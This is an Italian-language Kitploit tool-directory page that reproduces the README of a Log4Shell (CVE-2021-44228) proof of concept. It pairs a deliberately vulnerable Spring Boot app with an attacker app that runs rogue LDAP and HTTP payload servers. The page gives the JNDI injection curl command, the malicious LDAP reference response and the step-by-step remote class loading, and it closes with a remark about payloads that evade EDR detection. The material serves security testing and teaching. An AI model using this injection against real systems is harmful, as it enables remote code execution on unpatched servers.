Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4j2-exploit — log4j2 Log4Shell CVE-2021-44228 prova di concetto | Kitploit
Strumenti/GitHubGitHub/spasam/log4j2-exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 prova di concetto

Vedi Repository
24 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Log4Shell CVE-2021-44228 prova di concetto

Requisiti

  • Java (JDK/JRE) 8 o versione successiva
  • curl

exploitable

Semplice applicazione Spring Boot che fornisce una pagina di login con nome utente e password. Registra il nome utente quando viene inviato tramite POST a /. Non è necessario che l'applicazione registri alcun input fornito dall'utente. È sufficiente abilitare l'access logging che utilizza una versione vulnerabile di log4j2.

Come eseguire:

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

Di default ascolta sulla porta 8080. Se visiti http://localhost:8080/ nel browser dovresti vedere qualcosa come:

In pom.xml noterai la proprietà JVM:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

Questo non è richiesto nelle versioni precedenti di JDK. Il valore predefinito è stato cambiato in false in: JDK 11.0.1, 8u191, 7u201 e 6u211. Anche senza questa proprietà, l'applicazione è vulnerabile a richieste LDAP iniziali che possono esfiltrare dati sensibili.

hacker

Applicazione hacker che ha due scopi:

  • Avvia un server HTTP sulla porta 9090 per servire payload vulnerabili
  • Avvia un server LDAP in memoria sulla porta 1389

Come eseguire:

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

In pom.xml puoi cambiare il payload predefinito inviato alle applicazioni exploitable:

--class=SayHello è il valore predefinito e significa che invia SayHello.class come payload.

Come sfruttare la vulnerabilità

Invia una richiesta curl all'applicazione vulnerabile facendo riferimento al server LDAP dell'hacker in uno degli input forniti dall'utente (nome utente):

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

Nella console dell'applicazione exploitable dovresti vedere qualcosa come:

Dietro le quinte

  • L'attaccante ha inviato uno dei campi di input utente come ${jndi:ldap://127.0.0.1:1389}
  • La log4j2 vulnerabile incorporata nell'applicazione exploitable effettua una richiesta LDAP a 127.0.0.1:1389
  • Riceve come risposta quanto segue:
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • L'applicazione tenta di recuperare la classe del payload exploit da http://127.0.0.1:9090/SayHello.class
  • Il server hacker restituisce i byte binari di SayHello.class
  • L'applicazione esegue il metodo getObjectInstance nella classe exploit

Nota

Dopo la richiesta LDAP iniziale e l'eventuale download della classe Java dell'exploit, non è necessario che l'exploit crei un processo figlio o effettui ulteriori connessioni a Internet. Tipicamente questi tipi di exploit possono essere facilmente rilevati da prodotti EDR ecc. Sospetto che i nuovi payload exploit saranno implementati nativamente in Java per eludere il rilevamento.

Scarica lo strumento